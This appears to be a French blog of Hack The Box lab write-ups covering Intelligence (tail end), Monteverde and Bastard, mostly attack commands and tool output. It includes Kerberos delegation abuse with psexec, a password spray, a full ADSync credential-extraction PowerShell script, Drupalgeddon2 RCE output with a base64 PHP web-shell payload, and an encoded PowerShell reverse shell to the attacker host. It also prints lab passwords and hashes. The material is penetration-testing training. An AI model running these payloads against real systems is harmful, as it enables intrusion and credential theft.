svc_int$:aes256-cts-hmac-sha1-96:331c8820d64c744ba82a28551b76dc2dc00991df0e253fa613d37c4684e045fd
svc_int$:aes128-cts-hmac-sha1-96:40122d8d49ee8c46ea793c19b3a59d08

svc_int$ -> Administrator

msDS-AllowedToDelegateTo : WWW/dc.intelligence.htb

On remarque que svc_int peut : msDS-AllowedToDelegateTo : WWW/dc.intelligence.htb

Ce qui veut dire que svc_int$ peut se faire passer pour un autre utilisateur uniquement vers le service WWW/dc.intelligence.htb. On peut aussi voir ce resultat directement dans bloodhound.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


ldapsearch -x -H ldap://10.10.10.248 -D "intelligence\Ted.Graves" -w "Mr.Teddy" -b "DC=intelligence,DC=htb" | grep -i msDS-AllowedToDel -A20 -B40

# svc_int, Managed Service Accounts, intelligence.htb
dn: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
objectClass: computer
objectClass: msDS-GroupManagedServiceAccount
cn: svc_int
distinguishedName: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=h
 tb
....
msDS-AllowedToDelegateTo: WWW/dc.intelligence.htb

Silver Ticket : impersonate Administrator

On peut maintenant se faire passer pour l’administrateur en générant un silver ticket pour le SPN WWW/dc.intelligence.htb.

On utilise ensuite psexec pour obtenir un powershell en tant qu’admin avec le ticket généré :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


$ getST.py -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int$ -dc-ip 10.10.10.248 -hashes :1dcabcce2cf522bae77d7dc622587879

Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache

$ mv Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache admin.ccache

$ export KRB5CCNAME="admin.ccache"

$ psexec.py -k -no-pass intelligence.htb/Administrator@dc.intelligence.htb

Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on dc.intelligence.htb.....
[*] Found writable share ADMIN$
[*] Uploading file RKiuvsgB.exe
[*] Opening SVCManager on dc.intelligence.htb.....
[*] Creating service MGRO on dc.intelligence.htb.....
[*] Starting service MGRO.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1879]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
8fa6.....9f53

Tips

Parfois bloodhound n’affiche pas toutes les informations. Par exemple, je ne voyais pas la route de Ted vers svc_int.

En effet, j’ai l’habitude de cliquer sur Outbound Object Control-> Transitive Object Control.

Mais il fallait faire :

Outbound Object Control -> Group Delegated Object Control

Attention donc à bien regarder toutes les possibilités de Outbound Object Control sur un utilisateur owned.

Allowed To Delegate : WWW/dc.intelligence.htb Il faut regarder chaque parametre de l’utilisateur sur bloodhound. J’aurais dû reperer cela. Tout ne saute pas forcement aux yeux.
psexec.py -k -no-pass intelligence.htb/Administrator@dc.intelligence.htb Pour psexec, attention ici j’ai du préciciser Administrator@dc.intelligence.htb au lieu de l’ip que j’avais mis initialement : Administrator@10.10.10.248. Il faut bien sûr que **dc.intelligence.htb **soit bien dans le /etc/hosts.

HTB | Monteverde

Sun, 20 Jul 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Monteverde	Windows	10.10.10.172	Medium

Users

1
2
3


SABatchJobs:SABatchJobs
mhope:4n0therD4y@n0th3r$
administrator:d0m@in4dminyeah!

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.172
Starting Nmap 7.93 ( https://nmap.org ) at 2025-07-17 23:38 CEST
...
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-07-17 21:39:43Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49676/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49696/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49750/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host

Foothold

Getting users using nxc

Avec nxc smb et l’utilisateur anonyme on récupère une liste d’utilisateurs.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$ nxc smb 10.10.10.172 -u '' -p '' --users | tr -s ' ' | cut -d ' ' -f 5 | head -n13 | tail -n 10 | tee users.txt
Guest
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan

Password Spray

On tente un password spray avec “user == password” et on découvre les identifiants suivants:

SABatchJobs:SABatchJobs

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


$ nxc smb 10.10.10.172 -u users.txt -p users.txt --continue-on-success --no-bruteforce
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:smorgan STATUS_LOGON_FAILURE

‘user$’ and ‘azure_uploads’ smb shares : READ ACCESS

Avec smbmap on trouve le share ‘user$’ et ‘azure_uploads’ accessibles en lecture :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


smbmap -H "10.10.10.172" -u SABatchJobs -p SABatchJobs

 ________ ___ ___ _______ ___ ___ __ _______
 /" )|" \ /" || _ "\ |" \ /" | /""\  | __ "\
 (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
 \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
 __/ \ |: \. |(| _ \ |: \. | // __' \ (| /
 /" \  :) |. \ /: ||: |_) :)|. \ /: | / / \  \  /|__/ \
 (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
 https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.10.172:445 Name: MEGABANK.LOCAL Status: Authenticated
 Disk Permissions Comment
 ---- ----------- -------
 ADMIN$ NO ACCESS Remote Admin
 azure_uploads READ ONLY
 C$ NO ACCESS Default share
 E$ NO ACCESS Default share
 IPC$ READ ONLY Remote IPC
 NETLOGON READ ONLY Logon server share
 SYSVOL READ ONLY Logon server share
 users$ READ ONLY

On remarque que azure_uploads est vide.

Dans users$ on trouve le dossier d’un autre utilisateur “mhope” avec un fichier azure.xml :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


$ smbclient //10.10.10.172/users$ -U MEGABANK.LOCAL/SABatchJobs
Password for [MEGABANK.LOCAL\SABatchJobs]:
Try "help" to get a list of possible commands.
smb: \> ls
 . D 0 Fri Jan 3 14:12:48 2020
 .. D 0 Fri Jan 3 14:12:48 2020
 dgalanos D 0 Fri Jan 3 14:12:30 2020
 mhope D 0 Fri Jan 3 14:41:18 2020
 roleary D 0 Fri Jan 3 14:10:30 2020
 smorgan D 0 Fri Jan 3 14:10:24 2020

 31999 blocks of size 4096. 28979 blocks available
smb: \> cd mhope
smb: \mhope\> ls
 . D 0 Fri Jan 3 14:41:18 2020
 .. D 0 Fri Jan 3 14:41:18 2020
 azure.xml AR 1212 Fri Jan 3 14:40:23 2020

 31999 blocks of size 4096. 28979 blocks available
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml (15.0 KiloBytes/sec) (average 15.0 KiloBytes/sec)

Dans ce fichier se trouve un mot de passe 4n0therD4y@n0th3r$:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


cat azure.xml
��<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
 <Obj RefId="0">
 <TN RefId="0">
 <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
 <T>System.Object</T>
 </TN>
 <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
 <Props>
 <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
 <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
 <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
 <S N="Password">4n0therD4y@n0th3r$</S>
 </Props>
 </Obj>
</Objs>#

Evil-winrm : mhope -> user flag

On obtient un accès via evil winrm en tant que mhope avec le mot de passe trouvé précédemment 4n0therD4y@n0th3r$ :

1
2
3
4
5
6
7
8


evil-winrm -u mhope -p '4n0therD4y@n0th3r$' -i "10.10.10.172"

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\mhope\Desktop> cat "C:/Users/mhope/Desktop/user.txt"
4437.....5f01

Privilege Escalation

mhope Group : Azure Admins

On observe que mhope fait partie du groupe Azure Admins.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


*Evil-WinRM* PS C:\Users\mhope\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name Type SID Attributes
=======================================
...
MEGABANK\Azure Admins Group S-1-5-21-391775091-850290835-3566037492-2601 Mandatory group, Enabled by default, Enabled group
...

SQL Server: ADSync database

On observer une processus “sqlservr”.

1
2
3
4
5


*Evil-WinRM* PS C:\Users\mhope\Documents> Get-Process sqlservr

Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
 832 114 406004 275560 3436 0 sqlservr

On remarque que sqlcmd est installé et on observe une base de donnée “ADSync”. On peut bien effectuer des requêtes vers la base de donnée sans utiliser de user/password :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


*Evil-WinRM* PS C:\Users\mhope\Documents> sqlcmd -Q 'SELECT name FROM sys.databases'
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
ADSync

(5 rows affected)

Script

On trouve un script de xpn sur github. Ce script permet de se connecter à la base de donnée ADSync, d’extraire la configuration (chiffrée), puis de la déchiffrer. On obtient alors le mot de passe de l’administrator. Le script est basé sur l’utilisation des infos de la base de données puis du binaire ‘C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll’ pour réussir à récupérer la configuration contenant les creds administrateur :

https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545

En utilisant le script, on remarque qu’il ne fonctionne pas. Les lignes de code permettant la connection à la base de données semblent incorrectes :

1
2


*Evil-WinRM* PS C:\Users\mhope\Documents> $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()

En cherchant sur internet, j’ai pu corriger la ligne de code permettant la connexion à la bdd. De plus, j’ai pu remarquer certaines erreurs avec des guillemets dans un format suspect. J’ai bien remplacé les guillemets par “’” ou ‘"’.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


Write-Host "AD Connect Sync Credential Extract POC"

$SQLServer = "127.0.0.1"
$SQLDBName = "ADSync"
$client = New-Object System.Data.SqlClient.SqlConnection
$client.ConnectionString = "Server = $SQLServer; Database = $SQLDBName; Integrated Security = True"
$client.Open()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

Write-Host $decrypted

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

Output

Après correction des guillements, on execute le .ps1 et obtient les creds admin :

1
2
3
4
5
6
7
8
9


*Evil-WinRM* PS C:\Users\mhope\Documents> .\decrypt.ps1
AD Connect Sync Credential Extract POC
<encrypted-attributes>
 <attribute name="password">d0m@in4dminyeah!</attribute>
</encrypted-attributes>

Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!

Administrator pwned

1
2
3
4
5
6
7
8


[Jul 20, 2025 - 14:56:12 (CEST)] exegol-pentest Monteverde # evil-winrm -u "administrator" -p 'd0m@in4dminyeah!' -i 10.10.10.172

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
9f15.....9bf4

Tips

Toujours bien vérifier les scripts trouvés. Debug puis trouver l’erreur. Attention au guillemets suspects, toujours remplacer par ‘"’ ou ‘"’.

HTB | Bastard

Fri, 11 Jul 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Bastard	Windows	10.10.10.9	Medium

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


$ nmap -sC -sV -p- -An -vvv 10.10.10.9
Starting Nmap 7.93 ( https://nmap.org ) at 2025-07-11 15:53 CEST

PORTSTATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 7.5
|_http-favicon: Unknown favicon MD5: CF2445DCB53A031C02F9B57E2199BC03
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
| http-robots.txt: 36 disallowed entries
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
| /LICENSE.txt /MAINTAINERS.txt /update.php /UPGRADE.txt /xmlrpc.php
| /admin/ /comment/reply/ /filter/tips/ /node/add/ /search/
| /user/register/ /user/password/ /user/login/ /user/logout/ /?q=admin/
| /?q=comment/reply/ /?q=filter/tips/ /?q=node/add/ /?q=search/
|_/?q=user/password/ /?q=user/register/ /?q=user/login/ /?q=user/logout/
|_http-server-header: Microsoft-IIS/7.5
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Bastard | Bastard
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012:r2
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%)
No exact OS matches for host (test conditions non-ideal).

Foothold

Drupal 7.54

On découvre sur le port 80 une page de login. Il est mentionné qu’il s’agit d’un site web Drupal. On trouve la version de Drupal dans un fichier changelog.txt :

http://10.10.10.9/changelog.txt Drupal 7.54, 2017-02-01

CVE-2018-7600 | drupalgeddon2

En utilisant searchsploit, on trouve une RCE qui ne necessite pas d’authentification et qui fonctionne pour les versions avant 7.58 (donc OK pour 7.54).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


$ searchsploit drupal 7.54
-----------------------------------------------------------------------------------
 Exploit Title | Path
-----------------------------------------------------------------------------------
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
...

$ searchsploit -m php/webapps/44449.rb
 Exploit: Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
 URL: https://www.exploit-db.com/exploits/44449
 Path: /opt/tools/exploitdb/exploits/php/webapps/44449.rb
 Codes: CVE-2018-7600
 Verified: True
File Type: Ruby script, ASCII text
Copied to: /workspace/drupwn/44449.rb

On lance l’exploitation, et on obtient directement un shell non-interactif sur lequel on peut executer des commandes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103


$ ruby 44449.rb http://10.10.10.9
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.10.10.9/
--------------------------------------------------------------------------------
[+] Found : http://10.10.10.9/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.54
--------------------------------------------------------------------------------
[*] Testing: Form (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[+] Result : Clean URLs enabled
--------------------------------------------------------------------------------
[*] Testing: Code Execution (Method: name)
[i] Payload: echo CGATSMRW
[+] Result : CGATSMRW
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file (http://10.10.10.9/shell.php)
[i] Response: HTTP 404 // Size: 12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)... Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Existing file (http://10.10.10.9/sites/default/shell.php)
[i] Response: HTTP 404 // Size: 12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/shell.php
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)... Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Existing file (http://10.10.10.9/sites/default/files/shell.php)
[i] Response: HTTP 404 // Size: 12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/files/)
[*] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/shell.php
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)... Might not have write access?
[!] FAILED : Couldn't find a writeable web path
--------------------------------------------------------------------------------
[*] Dropping back to direct OS commands
drupalgeddon2>> ls

drupalgeddon2>> whoami
nt authority\iusr
drupalgeddon2>> dir
Volume in drive C has no label.
 Volume Serial Number is C4CD-C60B

 Directory of C:\inetpub\drupal-7.54

19/03/2017 09:04 �� <DIR> .
19/03/2017 09:04 �� <DIR> ..
19/03/2017 01:42 �� 317 .editorconfig
19/03/2017 01:42 �� 174 .gitignore
19/03/2017 01:42 �� 5.969 .htaccess
19/03/2017 01:42 �� 6.604 authorize.php
19/03/2017 01:42 �� 110.781 CHANGELOG.txt
19/03/2017 01:42 �� 1.481 COPYRIGHT.txt
19/03/2017 01:42 �� 720 cron.php
19/03/2017 01:43 �� <DIR> includes
19/03/2017 01:42 �� 529 index.php
19/03/2017 01:42 �� 1.717 INSTALL.mysql.txt
19/03/2017 01:42 �� 1.874 INSTALL.pgsql.txt
19/03/2017 01:42 �� 703 install.php
19/03/2017 01:42 �� 1.298 INSTALL.sqlite.txt
19/03/2017 01:42 ��17.995 INSTALL.txt
19/03/2017 01:42 ��18.092 LICENSE.txt
19/03/2017 01:42 �� 8.710 MAINTAINERS.txt
19/03/2017 01:43 �� <DIR> misc
19/03/2017 01:43 �� <DIR> modules
19/03/2017 01:43 �� <DIR> profiles
19/03/2017 01:42 �� 5.382 README.txt
19/03/2017 01:42 �� 2.189 robots.txt
19/03/2017 01:43 �� <DIR> scripts
19/03/2017 01:43 �� <DIR> sites
19/03/2017 01:43 �� <DIR> themes
19/03/2017 01:42 ��19.986 update.php
19/03/2017 01:42 ��10.123 UPGRADE.txt
19/03/2017 01:42 �� 2.200 web.config
19/03/2017 01:42 �� 417 xmlrpc.php
 21 File(s) 217.261 bytes
 9 Dir(s) 4.135.231.488 bytes free

drupalgeddon2>> dir C:\Users
Volume in drive C has no label.
 Volume Serial Number is C4CD-C60B

 Directory of C:\Users

19/03/2017 08:35 �� <DIR> .
19/03/2017 08:35 �� <DIR> ..
19/03/2017 02:20 �� <DIR> Administrator
19/03/2017 02:54 �� <DIR> Classic .NET AppPool
19/03/2017 08:35 �� <DIR> dimitris
14/07/2009 07:57 �� <DIR> Public
 0 File(s) 0 bytes
 6 Dir(s) 4.134.649.856 bytes free

drupalgeddon2>> type C:\Users\dimitris\Desktop\user.txt
292f.....ec9d

Stable Shell

En allant sur https://www.revshells.com/, j’ai pu générer rapidement un script de revershell. J’ai utilisé :

PowerShell #3 (Base64)

Ce qui m’a donné la commande suivante. Pratique, car aucun caractère spécial.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgA1ACIALAAxADMAMwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

-----------------------

exegol-pentest Bastard $ nc -lnvp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337


Ncat: Connection from 10.10.10.9.
Ncat: Connection from 10.10.10.9:57491.
PS C:\inetpub\drupal-7.54> whoami
nt authority\iusr

Better Stable Shell

